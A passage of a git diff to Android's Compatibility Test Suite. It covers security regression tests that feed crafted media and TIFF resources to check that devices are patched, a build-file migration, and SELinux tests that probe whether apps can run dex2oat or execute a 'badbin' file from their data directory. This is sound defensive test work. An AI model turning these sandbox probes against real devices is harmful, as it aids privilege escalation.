+        Resources resources =  getInstrumentation().getContext().getResources();
+        MediaExtractor ex = new MediaExtractor();
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+        try {
+            ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        } catch (IOException e) {
+        } finally {
+            closeQuietly(fd);
+        }
+        int numtracks = ex.getTrackCount();
+        String rname = resources.getResourceEntryName(rid);
+        Log.i(TAG, "start mediaextractor test for: " + rname + ", which has " + numtracks + " tracks");
+        for (int t = 0; t < numtracks; t++) {
+            try {
+                ex.selectTrack(t);
+            } catch (IllegalArgumentException e) {
+                Log.w(TAG, "couldn't select track " + t);
+            }
+            ex.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+            ex.advance();
+            ex.seekTo(offset, MediaExtractor.SEEK_TO_NEXT_SYNC);
+            try
+            {
+                ex.unselectTrack(t);
+            }
+            catch (Exception e) {
+            }
+        }
+        ex.release();
+        String cve = rname.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                    mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        thr.stopLooper();
+        thr.join();
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 8d388cc..a3209fc 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -21,7 +21,6 @@
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import com.android.compatibility.common.util.PropertyUtil;
-import com.android.compatibility.common.util.CddTest;
 
 @SecurityTest
 public class VerifiedBootTest extends AndroidTestCase {
@@ -43,7 +42,6 @@
    * A device without the feature flag android.hardware.ram.normal is exempt if
    * it launched on a pre-P level.
    */
-  @CddTest(requirement="9.10/C-1-1,C-2-1")
   public void testVerifiedBootSupport() throws Exception {
     if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
       return;
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index ef9316f..d0afec0 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -39,7 +39,7 @@
     }
 
     //Testing security bug: 30229821
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
         final int VISUALIZER_CMD_MEASURE = 0x10001;
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index fc28247..5368e93 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -33,7 +33,7 @@
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void test_android_bug_33300701() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/testeffect/Android.bp b/tests/tests/security/testeffect/Android.bp
new file mode 100644
index 0000000..23bd6fd
--- /dev/null
+++ b/tests/tests/security/testeffect/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Test effect library
+cc_test_library {
+    name: "libctstesteffect",
+    srcs: ["CTSTestEffect.cpp"],
+    cflags: [
+        "-O2",
+        "-fvisibility=hidden",
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-gnu-designator",
+    ],
+    relative_install_path: "soundfx",
+    include_dirs: ["system/media/audio_effects/include"],
+}
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
deleted file mode 100644
index 0784b5d..0000000
--- a/tests/tests/security/testeffect/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-# Test effect library
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES:= \
-  CTSTestEffect.cpp
-
-LOCAL_CFLAGS+= -O2 -fvisibility=hidden
-
-LOCAL_MODULE_RELATIVE_PATH := soundfx
-LOCAL_MODULE:= libctstesteffect
-
-LOCAL_C_INCLUDES := \
-  $(call include-path-for, audio-effects)
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter -Wno-gnu-designator
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/Android.mk b/tests/tests/selinux/Android.mk
deleted file mode 100644
index cddf11e..0000000
--- a/tests/tests/selinux/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/OWNERS b/tests/tests/selinux/OWNERS
new file mode 100644
index 0000000..8824b03
--- /dev/null
+++ b/tests/tests/selinux/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 85141
+jeffv@google.com
+jgalenson@google.com
+nnk@google.com
diff --git a/tests/tests/selinux/common/Android.mk b/tests/tests/selinux/common/Android.mk
deleted file mode 100644
index a177b5c..0000000
--- a/tests/tests/selinux/common/Android.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/tests/tests/selinux/common/jni/Android.bp b/tests/tests/selinux/common/jni/Android.bp
new file mode 100644
index 0000000..275b0ce
--- /dev/null
+++ b/tests/tests/selinux/common/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsselinux_jni",
+    srcs: [
+        "CtsSecurityJniOnLoad.cpp",
+        "android_security_SELinuxTargetSdkTest.cpp",
+    ],
+    shared_libs: [
+        "libbase",
+        "libc++",
+        "libcrypto",
+        "liblog",
+        "libnativehelper",
+        "libpackagelistparser",
+        "libpcre2",
+        "libselinux",
+    ],
+    gtest: false,
+}
diff --git a/tests/tests/selinux/common/jni/Android.mk b/tests/tests/selinux/common/jni/Android.mk
deleted file mode 100644
index 8f9234c..0000000
--- a/tests/tests/selinux/common/jni/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsselinux_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    CtsSecurityJniOnLoad.cpp \
-    android_security_SELinuxTargetSdkTest.cpp
-
-LOCAL_SHARED_LIBRARIES := \
-    libc++ \
-    libcrypto \
-    liblog \
-    libnativehelper \
-    libpackagelistparser \
-    libpcre2 \
-    libselinux \
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 0de87c6..69a4a4a 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -1,5 +1,6 @@
 package android.security;
 
+import android.system.Os;
 import android.test.AndroidTestCase;
 import java.io.BufferedReader;
 import java.io.FileReader;
@@ -52,7 +53,43 @@
         for(int i = 0; i < dnsProps.length; i++) {
             String dns = getProperty(dnsProps[i]);
             assertEquals("DNS properties may not be readable by apps past " +
-                    "targetSdkVersion 26", dns, "");
+                    "targetSdkVersion 26", "", dns);
+        }
+    }
+
+    /**
+     * Check expectations of being able to read/execute dex2oat.
+     */
+    protected static void checkDex2oatAccess(boolean expectedAllowed) throws Exception {
+        // First check whether there is an Android Runtime APEX dex2oat binary.
+        File dex2oatRuntimeApexBinary = new File("/apex/com.android.runtime/bin/dex2oat");
+        if (dex2oatRuntimeApexBinary.exists()) {
+          checkDex2oatBinaryAccess(dex2oatRuntimeApexBinary, expectedAllowed);
+        }
+        // Also check whether there is a "legacy" system binary.
+        File dex2oatSystemBinary = new File("/system/bin/dex2oat");
+        if (dex2oatSystemBinary.exists()) {
+          checkDex2oatBinaryAccess(dex2oatSystemBinary, expectedAllowed);
+        }
+    }
+
+    private static void checkDex2oatBinaryAccess(File dex2oatBinary, boolean expectedAllowed)
+        throws Exception {
+        // Check permissions.
+        assertEquals(expectedAllowed, dex2oatBinary.canRead());
+        assertEquals(expectedAllowed, dex2oatBinary.canExecute());
+
+        // Try to execute dex2oat.
+        try {
+            Runtime rt = Runtime.getRuntime();
+            Process p = rt.exec(dex2oatBinary.getAbsolutePath());
+            p.waitFor();
+            assertEquals(expectedAllowed, true);
+        } catch (IOException ex) {
+            assertEquals(expectedAllowed, false);
+            assertEquals(ex.getMessage(),
+                    "Cannot run program \"" + dex2oatBinary.getAbsolutePath() +
+                    "\": error=13, Permission denied");
         }
     }
 
@@ -81,5 +118,21 @@
         assertTrue(msg, m.matches());
     }
 
+    protected boolean canExecuteFromHomeDir() throws Exception {
+        File appDataDir = getContext().getFilesDir();
+        File temp = File.createTempFile("badbin", "exe", appDataDir);
+        temp.deleteOnExit();
+        String path = temp.getPath();
+        Os.chmod(path, 0700);
+        try {
+            Process process = new ProcessBuilder(path).start();
+        } catch (IOException e) {
+            return !e.toString().contains("Permission denied");
+        } finally {
+            temp.delete();
+        }
+        return true;
+    }
+
     private static final native String getFileContext(String path);
 }
diff --git a/tests/tests/selinux/selinuxEphemeral/Android.bp b/tests/tests/selinux/selinuxEphemeral/Android.bp
new file mode 100644
index 0000000..c3e6459
--- /dev/null
+++ b/tests/tests/selinux/selinuxEphemeral/Android.bp
@@ -0,0 +1,51 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSelinuxEphemeralTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    jni_libs: [
+        "libbase",
+        "libc++",
+        "libcrypto",
+        "libcts_jni",
+        "libctsselinux_jni",
+        "libnativehelper",
+        "libnativehelper_compat_libc++",
+        "libpackagelistparser",
+        "libpcre2",
+        "libselinux",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml b/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
new file mode 100644
index 0000000..9e2deeb
--- /dev/null
+++ b/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.selinuxephemeral.cts">
+
+    <!-- This app tests that apps with current targetSdkValue are placed in the
+         ephemeral_app selinux domain -->
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="10000" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.selinuxephemeral.cts"
+                     android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/selinux/selinuxEphemeral/AndroidTest.xml b/tests/tests/selinux/selinuxEphemeral/AndroidTest.xml
new file mode 100644
index 0000000..fa2b1b9
--- /dev/null
+++ b/tests/tests/selinux/selinuxEphemeral/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission Selinux test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSelinuxEphemeralTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.selinuxephemeral.cts" />
+        <option name="runtime-hint" value="2m" />
+    </test>
+</configuration>
diff --git a/tests/tests/selinux/selinuxEphemeral/common b/tests/tests/selinux/selinuxEphemeral/common
new file mode 120000
index 0000000..581eb17
--- /dev/null
+++ b/tests/tests/selinux/selinuxEphemeral/common
@@ -0,0 +1 @@
+../common/src
\ No newline at end of file
diff --git a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
new file mode 100644
index 0000000..ff23958
--- /dev/null
+++ b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.PropertyUtil;
+import java.io.IOException;
+
+
+/**
+ * Verify the selinux domain for apps running in instant mode
+ */
+@AppModeInstant
+public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
+{
+    public void testCanNotExecuteFromHomeDir() throws Exception {
+        assertFalse(canExecuteFromHomeDir());
+    }
+
+    /**
+     * Verify the selinux domain.
+     */
+    public void testAppDomainContext() throws IOException {
+        String context = "u:r:ephemeral_app:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Instant apps must run in the ephemeral_app selinux domain " +
+            "and use the levelFrom=all selector in SELinux seapp_contexts which adds " +
+            "four category types to the app's selinux context.\n" +
+            "Example expected value: u:r:ephemeral_app:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDomainContext(context, msg);
+    }
+
+    /**
+     * Verify the selinux context of the app data type.
+     */
+    public void testAppDataContext() throws Exception {
+        String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Instant apps must use the app_data_file selinux context and use the " +
+            "levelFrom=all selector in SELinux seapp_contexts which adds four category types " +
+            "to the app_data_file context.\n" +
+            "Example expected value: u:object_r:app_data_file:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDataContext(context, msg);
+    }
+
+    public void testDex2oat() throws Exception {
+        /*
+         * Apps with a vendor image older than Q may access the dex2oat executable through
+         * selinux policy on the vendor partition because the permission was granted in public
+         * policy for appdomain.
+         */
+        if (PropertyUtil.isVendorApiLevelNewerThan(28)) {
+            checkDex2oatAccess(false);
+        }
+    }
+}
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.bp b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
new file mode 100644
index 0000000..f48a8a0
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
@@ -0,0 +1,51 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSelinuxTargetSdk25TestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    jni_libs: [
+        "libbase",
+        "libc++",
+        "libcrypto",
+        "libcts_jni",
+        "libctsselinux_jni",
+        "libnativehelper",
+        "libnativehelper_compat_libc++",
+        "libpackagelistparser",
+        "libpcre2",
+        "libselinux",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.mk b/tests/tests/selinux/selinuxTargetSdk25/Android.mk
deleted file mode 100755
index f0fd064..0000000
--- a/tests/tests/selinux/selinuxTargetSdk25/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libc++ \
-    libcrypto \
-    libcts_jni \
-    libctsselinux_jni \
-    libnativehelper \
-    libnativehelper_compat_libc++ \
-    libpackagelistparser \
-    libpcre2 \
-    libselinux \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src common)
-LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk25TestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
old mode 100755
new mode 100644
diff --git a/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml
index d63b2c2..cdca38c 100644
--- a/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Permission Selinux test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java
index c966e5e..f0a76fc 100644
--- a/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java
@@ -20,10 +20,14 @@
 import java.io.IOException;
 
 /**
- * Verify the selinux domain for apps running with targetSdkVersion<=25
+ * Verify the selinux domain for apps running with targetSdkVersion&lt;=25
  */
 public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
 {
+    public void testCanExecuteFromHomeDir() throws Exception {
+        assertTrue(canExecuteFromHomeDir());
+    }
+
     /**
      * Verify that selinux context is the expected domain based on
      * targetSdkVersion = 25
@@ -41,16 +45,20 @@
 
     /**
      * Verify that selinux context is the expected type based on
-     * targetSdkVersion = current
+     * targetSdkVersion = 25
      */
     public void testAppDataContext() throws Exception {
         String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+";
-        String msg = "Untrusted apps with targetSdkVersion of 25 and below and above" +
-            "must use the app_data_file selinux context and use the levelFrom=all " +
-            "selector in SELinux seapp_contexts which adds four category types " +
+        String msg = "Untrusted apps with targetSdkVersion of 25 and below " +
+            "must use the app_data_file selinux context and use the levelFrom=user " +
+            "selector in SELinux seapp_contexts which adds two category types " +
             "to the app_data_file context.\n" +
             "Example expected value: u:object_r:app_data_file:s0:c512,c768\n" +
             "Actual value: ";
         appDataContext(context, msg);
     }
+
+    public void testDex2oat() throws Exception {
+        checkDex2oatAccess(true);
+    }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.bp b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
new file mode 100644
index 0000000..0187bbd
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
@@ -0,0 +1,51 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSelinuxTargetSdk27TestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    jni_libs: [
+        "libbase",
+        "libc++",
+        "libcrypto",
+        "libcts_jni",
+        "libctsselinux_jni",
+        "libnativehelper",
+        "libnativehelper_compat_libc++",
+        "libpackagelistparser",
+        "libpcre2",
+        "libselinux",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.mk b/tests/tests/selinux/selinuxTargetSdk27/Android.mk
deleted file mode 100755
index d839d54..0000000
--- a/tests/tests/selinux/selinuxTargetSdk27/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libc++ \
-    libcrypto \
-    libcts_jni \
-    libctsselinux_jni \
-    libnativehelper \
-    libnativehelper_compat_libc++ \
-    libpackagelistparser \
-    libpcre2 \
-    libselinux \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src common)
-LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk27TestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
old mode 100755
new mode 100644
diff --git a/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml
index e818dcc..ac816b2 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Permission Selinux test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
